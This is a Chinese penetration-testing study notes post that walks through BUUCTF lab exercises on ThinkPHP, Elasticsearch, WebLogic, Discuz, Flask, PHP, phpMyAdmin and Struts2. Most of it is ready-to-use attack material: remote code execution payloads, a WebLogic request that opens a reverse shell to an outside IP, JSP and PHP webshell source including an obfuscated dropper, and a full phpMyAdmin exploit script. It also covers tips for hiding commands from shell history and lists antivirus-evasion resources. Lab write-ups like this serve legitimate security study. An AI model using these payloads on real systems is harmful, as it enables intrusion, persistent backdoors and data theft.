title: 渗透学习笔记 author: bmth tags:

学习笔记 categories: [] img: 'https://img-blog.csdnimg.cn/20210304214146736.png' date: 2020-10-27 19:28:00

杂知识点

ThinkPHP5远程代码执行漏洞

本次漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验，导致在未开启强制路由的情况下，用户可以调用任意类的任意方法，最终导致远程代码执行漏洞的产生漏洞影响版本： 5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30

5.1.x ：

?s=index/\think\Request/input&filter[]=system&data=pwd ?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?> ?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?> ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x ：

?s=index/think\config/get&name=database.username # 获取配置信息 ?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件 ?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

漏洞影响版本：5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30

#ThinkPHP <= 5.0.13 POST /?s=index/index s=whoami&_method=__construct&method=&filter[]=system #ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug POST / _method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al #ThinkPHP <= 5.0.23 需要存在xxx的method路由，例如captcha POST /?s=xxx HTTP/1.1 _method=__construct&filter[]=system&method=get&get[]=ls -al _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

某CMFX_2.2.3漏洞合集 phpmyadmin getshell姿势

Thinkphp6.0任意文件写入漏洞复现 ThinkPHP6任意文件操作漏洞到GETSHELL

shopxo后台全版本

渗透测试|shopxo后台全版本获取shell复现

小技巧

linux在命令前加空格，history内查不到

[GET!] 6个Linux痕迹隐藏小技巧!

浏览器保留密码功能漏洞示例

参考大佬文章，写的真的很好：[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记首先并未显示密码：随后F12审查元素，修改password为text，即可看到密码。~~password修改为任意值都行~~

免杀

远控免杀专题文章(2)-msfvenom隐藏的参数工具：TheFatRat 掩日 2.0 - Advanced AV Evasion Tool For Red Team 人人都能过杀软-简单的免杀方法＋实战技巧远控免杀专题远控免杀从入门到实践（1）：基础篇 Meterpreter免杀技巧分享（亲测有效）那些shellcode免杀总结远控杂说---总有一款适合你从静态到动态打造一款免杀的antSword(蚁剑)

提权

网站： https://www.securityfocus.com/bid https://cve.mitre.org/cve/search_cve_list.html https://www.exploit-db.com/ https://securiteam.com/ https://www.rapid7.com/db/ 信息收集可利用的脚本： https://github.com/AonCyberLabs/Windows-Exploit-Suggester https://github.com/jondonas/linux-exploit-suggester-2 辅助提权脚本： https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite https://github.com/rebootuser/LinEnum

hostname 查看主机名 head -n 1 /etc/issue 查看操作系统版本 uname -a 查看内核信息 cat /etc/lsb-release 查看发行的系统版本信息 lsb_release -a 查看Linux内核版本 cat /etc/issue 查看版本号 arch 机器的体系架构 sudo -l 当前用户可以以root身份执行的操作 cat /etc/sudoers 谁被允许以root身份执行 cat /etc/crontab 查看计划任务查找具有suid权限的命令： find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \;

linux下软件漏洞列表：https://github.com/mudongliang/LinuxFlaw windows-kernel-exploits：https://github.com/SecWiki/windows-kernel-exploits linux-kernel-exploits：https://github.com/SecWiki/linux-kernel-exploits Windows提权合集项目：https://github.com/Ascotbe/Kernelhub

BUUCTF之Real笔记

flag均在环境变量中，环境变量可用env获取

[ElasticSearch]

[ElasticSearch]CVE-2015-3337

jre版本：openjdk：8-jre
elasticsearch版本：v1.4.4
影响版本：1.4.5以下/1.5.2以下

在安装了具有"site"功能的插件以后，插件目录使用../即可向上跳转，导致目录穿越漏洞，可读取任意文件。没有安装任意插件的elasticsearch不受影响。

测试环境默认安装了一个插件：elasticsearch-head head插件提供了elasticsearch的前端页面，访问http://your-ip:9200/_plugin/head/即可看到其运行时的环境变量可以使用下面的命令来查看：

cat /proc/$PID/environ

其中，将PID设置成相关进程的进程ID（PID总是一个整数）访问http://your-ip:9200/_plugin/head/../../../../../../proc/1/environ，读取任意文件**（不要在浏览器访问）**

参考：ElasticSearch 目录穿越漏洞（CVE-2015-3337）测试环境

[ElasticSearch]CVE-2015-1427

jre版本：openjdk：8-jre
elasticsearch版本：v1.4.2

CVE-2014-3120后，ElasticSearch默认的动态脚本语言换成了Groovy，并增加了沙盒，但默认仍然支持直接执行动态语言。本漏洞： 1.是一个沙盒绕过; 2.是一个Goovy代码执行漏洞。

由于查询时至少要求es中有一条数据，所以发送如下数据包，增加一个数据：

POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "test"
}

利用反射机制执行JAVA代码Payload：

POST /_search?pretty HTTP/1.1
Host: 192.168.91.130:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 489

{
    "size":1,
    "script_fields": {
        "test#": {  
            "script":
                "java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getInputStream())).readLines()",

            "lang": "groovy"
        }
    }

}

利用Groovy语言，执行任意命令：

POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

参考文章：ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞（CVE-2015-1427）测试环境

[WebLogic]

Weblogic一键漏洞检测工具：https://github.com/rabbitmask/WeblogicScan

[Weblogic]CVE-2017-10271

Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令直接使用脚本即可：（注意其中反弹shell的语句，需要进行编码，否则解析XML的时候将出现格式错误）

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/47.101.145.94/9000 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

然后监听端口即可获取shell，nc -lvnp 9000 写入webshell：

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
    <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("bmth".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

http://node3.buuoj.cn:29959/bea_wls_internal/test.jsp?pwd=bmth&cmd=ls即可getshell

参考： Oracle WebLogic < 10.3.6 - 'wls-wsat' Component Deserialisation Remote Command Execution Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞（CVE-2017-10271） Weblogic XMLDecoder RCE分析

[WebLogic]CVE-2018-2894

受影响的版本： weblogic 10.3.6.0、weblogic 12.1.3.0、weblogic 12.2.1.2、weblogic 12.2.1.3。

访问http://your-ip:7001/console，即可看到后台登录页面，管理员用户名为weblogic，密码为weblogic1，登录后台页面，点击base_domain的配置，在"高级"中勾选 "启用 Web 服务测试页" 选项，然后保存配置访问http://your-ip:7001/ws_utc/config.do，设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css (将目录设置为ws_utc应用的静态文件css目录，访问这个目录是无需权限的，这一点很重要) 然后点击安全 -> 添加，然后上传webshell，可以不设置密码

<%@ page import="java.util.*,java.io.*,java.net.*"%>  <HTML><BODY>
<form action="" name="myform" method="POST" style="box-sizing: border-box; margin-top: 0px;"><input name="cmd" type="text" style="box-sizing: border-box !important; color: var(--text-color); font: inherit; margin: 0px;  padding-left: 4px; border: 1px solid rgba(146, 146, 146, 0.56);"> <input value="Send" type="submit" style="box-sizing: border-box !important; color: var(--text-color); font: inherit; margin: 0px;  padding-left: 4px; border: 1px solid rgba(146, 146, 146, 0.56); -webkit-appearance: button; cursor: pointer;"></form>

<pre class="" style="box-sizing: border-box; overflow: auto; font-family: var(--monospace); margin-bottom: 0px; width: inherit; white-space: pre-wrap;"><%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "\n");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); disr = dis.readLine(); }
        }
%>
</pre>
</BODY></HTML>

审查元素,查看时间戳（也可使用抓包方式进行查看）最后访问/ws_utc/css/config/keystore/[时间戳]_[文件名]即可得到flag

参考：Weblogic 任意文件上传漏洞（CVE-2018-2894）

[Discuz]wooyun-2010-080723

漏洞版本：Discuz 6.x/7.x

由于php5.3.x版本里php.ini的设置里request_order默认值为GP，导致$_REQUEST中不再包含$_COOKIE，我们通过在Cookie中传入$GLOBALS来覆盖全局变量，造成代码执行漏洞

首先安装，访问http://your-ip:8080/install/来安装discuz，数据库地址填写db，数据库名为discuz，数据库账号密码均为root 安装成功后，直接找一个已存在的帖子，向其发送数据包，并在Cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo(); 成功获取phpinfo()，那么即可写入一句话

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(115).Chr(104).Chr(101).Chr(108).Chr(108).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(48).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))

接下来连接蚁剑，获取webshell 参考： Discuz! 6.x/7.x 全局变量防御绕过导致命令执行 Discuz 7.x/6.x 全局变量防御绕过导致代码执行

[Flask]SSTI

最近在看python安全攻防，然后学了一下pocsuite，正好拿这个靶机做一下实验。如何打造自己的PoC框架-Pocsuite3-使用篇获取eval函数并执行任意python代码的POC：

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

写出exp.py:

from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY


class DemoPOC(POCBase):
    vulID = '1.1'
    version = '1.1'
    author = ['1.1']
    vulDate = '1.1'
    createDate = '1.1'
    updateDate = '1.1'
    references = ['flask']
    name = 'flask'
    appPowerLink = 'flask'
    appName = 'flask'
    appVersion = 'flask'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''
        
    '''
    samples = ['96.234.71.117:80']
    category = POC_CATEGORY.EXPLOITS.REMOTE

    def _options(self):
        o = OrderedDict()
        payload = {
            "nc": REVERSE_PAYLOAD.NC,
            "bash": REVERSE_PAYLOAD.BASH,
        }
        o["command"] = OptDict(selected="bash", default=payload)
        return o

    def _verify(self):
        result = {}
        path = "?name="
        url = self.url + path
        #print(url)
        payload = "{{22*22}}"
        #print(payload)
        try:
            resq = requests.get(url + payload)
            if resq and resq.status_code == 200 and "484" in resq.text:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['Name'] = payload
        except Exception as e:
            return
        return self.parse_verify(result) 

    def trim(str):
        newstr = ''
        for ch in str:          #遍历每一个字符串
            if ch!=' ':
                newstr = newstr+ch
        return newstr

    def _attack(self):
        result = {}
        path = "?name="
        url = self.url + path
        #print(url)
        cmd = self.get_option("command")
        payload = '%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()'\
        '%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20'\
        'for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__'\
        '%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()'\
        '%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("'+cmd+'").read()%27)'\
        '%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor'\
        '%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
        #print(payload)
        try:
            resq = requests.get(url + payload)
            t = resq.text 
            t = t.replace('\n', '').replace('\r', '')
            print(t)
            t = t.replace(" ","")
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = url
            result['VerifyInfo']['Name'] = payload
        except Exception as e:
            return 
        return self.parse_attack(result)

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output

    def _shell(self):
        return

    def parse_verify(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(DemoPOC)

最后直接一把梭python3 cli.py -r pocs/all-flask.py -u http://node3.buuoj.cn:28932 --attack --command env

Flask（Jinja2）服务端模板注入漏洞

[PHP]

[PHP]XXE

libxml2.9.0以后，默认不解析外部实体，导致XXE漏洞逐渐消亡访问即可看到phpinfo，搜索libxml即可看到其版本为2.8.0 Web目录为./www，其中包含4个文件：

$ tree . ├── dom.php # 示例：使用DOMDocument解析body ├── index.php ├── SimpleXMLElement.php # 示例：使用SimpleXMLElement类解析body └── simplexml_load_string.php # 示例：使用simplexml_load_string函数解析body

dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞 payload：

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

在安装expect扩展的PHP环境里可执行系统命令，其他协议也有可能可以执行系统命令，测试得本题没有安装expect

flag在phpinfo()里参考文章：淚笑-l3yx：PHP环境 XML外部实体注入漏洞（XXE） PHP环境 XML外部实体注入漏洞（XXE）

[PHP]inclusion

可以直接访问phpinfo.php 然后有一个lfi.php用于文件包含

在给PHP发送POST数据包时，如果数据包里包含文件区块，无论你访问的代码中有没有处理文件上传的逻辑，PHP都会将这个文件保存成一个临时文件（通常是/tmp/php[6个随机字符]），文件名可以在$_FILES变量中找到。这个临时文件，在请求结束后就会被删除。同时，因为phpinfo页面会将当前请求上下文中所有变量都打印出来，所以我们如果向phpinfo页面发送包含文件区块的数据包，则即可在返回包里找到$_FILES变量的内容，自然也包含临时文件名。在文件包含漏洞找不到可利用的文件时，即可利用这个方法，找到临时文件名，然后包含之。但文件包含漏洞和phpinfo页面通常是两个页面，理论上我们需要先发送数据包给phpinfo页面，然后从返回页面中匹配出临时文件名，再将这个文件名发送给文件包含漏洞页面，进行getshell。在第一个请求结束时，临时文件就被删除了，第二个请求自然也就无法进行包含。这个时候就需要用到条件竞争，具体流程如下：

发送包含了webshell的上传数据包给phpinfo页面，这个数据包的header、get等位置需要塞满垃圾数据

因为phpinfo页面会将所有数据都打印出来，1中的垃圾数据会将整个phpinfo页面撑得非常大
php默认的输出缓冲区大小为4096，可以理解为php每次返回4096个字节给socket连接
所以，我们直接操作原生socket，每次读取4096个字节。只要读取到的字符里包含临时文件名，就立即发送第二个数据包
此时，第一个数据包的socket连接实际上还没结束，因为php还在继续每次输出4096个字节，所以临时文件此时还没有删除
利用这个时间差，第二个数据包，也就是文件包含漏洞的利用，即可成功包含临时文件，最终getshell

利用脚本exp.py实现了上述过程，成功包含临时文件后，会执行<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>，写入一个新的文件/tmp/g，这个文件就会永久留在目标机器上。

参考：PHP文件包含漏洞（利用phpinfo） vulhub-php/php_inclusion_getshell PHP LFI 利用临时文件 Getshell 姿势

[PHP]CVE-2019-11043

在 Nginx + PHP-FPM 环境下，当启用了上述 Nginx 配置后，以下 PHP 版本受本次漏洞影响，另外，PHP 5.6版本也受此漏洞影响，但目前只能 Crash，不可以远程代码执行：

PHP 7.0 版本
PHP 7.1 版本
PHP 7.2 版本
PHP 7.3 版本

CVE-2019-11043 是一个远程代码执行漏洞，使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞，可允许攻击者远程执行代码。

向Nginx + PHP-FPM的服务器 URL发送%0a时，服务器返回异常。该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下：

location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass   php:9000;
...
}

攻击者可以使用换行符（％0a）来破坏fastcgi_split_path_info指令中的Regexp。 Regexp被损坏导致PATH_INFO为空，从而触发该漏洞安装利用的工具：(千万不要apt安装go)

git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build

最后执行脚本即可我们访问http://your-ip:8080/index.php?a=id，即可查看到命令已成功执行 (注意，因为php-fpm会启动多个子进程，在访问/index.php?a=id时需要多访问几次，以访问到被污染的进程。)

参考： PHP 远程代码执行漏洞复现（CVE-2019-11043）【反弹shell成功】 PHP-FPM 远程代码执行漏洞（CVE-2019-11043）

[ThinkPHP]

thinkphp v6.0.x 反序列化利用链挖掘

[ThinkPHP]5-Rce

之前收集了一些版本漏洞，本题版本为5.0.x，直接使用payload： ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id 本题flag也在phpinfo()内 payload：?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

[ThinkPHP]5.0.23-Rce

本题是开启了captcha的method路由，直接使用POST提交payload _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls 那么同理flag在phpinfo内：

[ThinkPHP]2-Rce

ThinkPHP 2.x版本中，使用preg_replace的/e模式匹配路由：

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行，造成任意代码执行漏洞。 ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞，也存在这个漏洞。 payload：?s=/index/index/name/${@phpinfo()} 可以构造的poc如下：

/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}
......

写入一句话：

?s=a/b/c/${@print(eval($_POST[1]))}

参考文章：ThinkPHP系列漏洞之ThinkPHP 2.x 任意代码执行

[ThinkPHP]IN SQL INJECTION

访问http://your-ip/index.php?ids[]=1&ids[]=2，即可看到用户名被显示了出来访问http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1，信息成功被爆出，但是一个比较鸡肋的SQL注入漏洞通过DEBUG页面，我们可以找到了数据库的账号、密码，并且可以得到泄露的flag

参考：ThinkPHP5 SQL注入漏洞 && 敏感信息泄露 ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析

[PHPMYADMIN]

[PHPMYADMIN]CVE-2018-12613

任意文件读取payload：

?target=db_datadict.php%253f/../../../../../../../../etc/passwd
?target=db_sql.php%253f/../../../../../../../../etc/passwd

查看当前数据库路径：最后还是使用session来写：select '<?=phpinfo()?>'; 访问session文件： ?target=db_sql.php%253f/../../../../../../../../tmp/sess_5bda3cd03c39e50b75567c72ee93dd8c 文章：【首发】phpmyadmin4.8.1后台getshell CVE-2018-12613 phpMyAdmin远程文件包含漏洞

[PHPMYADMIN]CVE-2016-5734

使用链接中的exp：phpMyAdmin 4.6.2 - (Authenticated) Remote Code Execution

#!/usr/bin/env python

"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("url", type=str, help="URL with path to PMA")
    parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
    parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
    parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
    parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
    parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
    arguments = parser.parse_args()
    url_to_pma = arguments.url
    uname = arguments.user
    upass = arguments.pwd
    if arguments.dbs:
        db = arguments.dbs
    else:
        db = "test"
    token = False
    custom_table = False
    if arguments.table:
        custom_table = True
        table = arguments.table
    else:
        table = "prgpwn"
    if arguments.cmd:
        payload = arguments.cmd
    else:
        payload = "system('uname -a');"

    size = 32
    s = requests.Session()
    # you can manually add proxy support it's very simple ;)
    # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
    s.verify = False
    sql = '''CREATE TABLE `{0}` (
      `first` varchar(10) CHARACTER SET utf8 NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
    INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
    '''.format(table)

    # get_token
    resp = s.post(url_to_pma + "/?lang=en", dict(
        pma_username=uname,
        pma_password=upass
    ))
    if resp.status_code is 200:
        token_place = resp.text.find("token=") + 6
        token = resp.text[token_place:token_place + 32]
    if token is False:
        print("Cannot get valid authorization token.")
        sys.exit(1)

    if custom_table is False:
        data = {
            "is_js_confirmed": "0",
            "db": db,
            "token": token,
            "pos": "0",
            "sql_query": sql,
            "sql_delimiter": ";",
            "show_query": "0",
            "fk_checks": "0",
            "SQL": "Go",
            "ajax_request": "true",
            "ajax_page_request": "true",
        }
        resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
        if resp.status_code == 200:
            if "success" in resp.json():
                if resp.json()["success"] is False:
                    first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
                    error = first[:first.find("</code>")]
                    if "already exists" in error:
                        print(error)
                    else:
                        print("ERROR: " + error)
                        sys.exit(1)
    # build exploit
    exploit = {
        "db": db,
        "table": table,
        "token": token,
        "goto": "sql.php",
        "find": "0/e\0",
        "replaceWith": payload,
        "columnIndex": "0",
        "useRegex": "on",
        "submit": "Go",
        "ajax_request": "true"
    }
    resp = s.post(
        url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
    )
    if resp.status_code == 200:
        result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
        if len(result):
            print("result: " + result)
            sys.exit(0)
        print(
            "Exploit failed!\n"
            "Try to manually set exploit parameters like --table, --database and --token.\n"
            "Remember that servers with PHP version greater than 5.4.6"
            " is not exploitable, because of warning about null byte in regexp"
        )
        sys.exit(1)

进行命令执行：python cve-2016-5734.py -c 'system(id);' -u root -p root -d test http://node3.buuoj.cn:28884 成功执行命令，但不知道为何我在windows上执行就出错，难受呀

参考：phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞（CVE-2016-5734）

[struts2]

Struts2 漏洞简单汇总 Struts2 全版本漏洞利用复现 (长期更新)

[struts2]s2-001

该漏洞因为用户提交表单数据并且验证失败时，后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析，然后重新填充到对应的表单数据中。例如注册或登录页面，提交失败后端一般会默认返回之前提交的数据，由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析，所以可以直接构造 Payload 进行命令执行

首先测试是否存在漏洞：%{1+1} 发现变为2，那么直接使用payload 获取tomcat执行路径： %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"} 获取Web路径：

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

执行任意命令(命令加参数：new java.lang.String[]{"cat","/etc/passwd"})

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

参考文章： tdcoming：S2-001 远程代码执行漏洞 S2-001 远程代码执行漏洞

[struts2]s2-005

影响版本: 2.0.0 - 2.1.8.1

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12)，struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象，struts框架通过过滤#字符防止安全问题，然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制，对于S2-003漏洞，官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补，但是安全配置被绕过再次导致了漏洞，攻击者可以利用OGNL表达式将这2个选项打开，S2-003的修补方案把自己上了一个锁，但是把锁钥匙给插在了锁头上

XWork会将GET参数的键和值利用OGNL表达式解析成Java语句，如：

user.address.city=Bishkek&user['favoriteDrink']=kumys 
//会被转化成
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")

触发漏洞就是利用了这个点，再配合OGNL的沙盒绕过方法，组成了S2-003。官方对003的修复方法是增加了安全模式（沙盒），S2-005在OGNL表达式中将安全模式关闭，又绕过了修复方法。整体过程如下：

S2-003 使用\u0023绕过s2对#的防御
S2-003 后官方增加了安全模式（沙盒）
S2-005 使用OGNL表达式将沙盒关闭，继续执行代码

使用大佬工具：[原创]K8 Struts2 Exp 20170310 S2-045(Struts2综合漏洞利用工具) 秒杀了，老脚本小子了

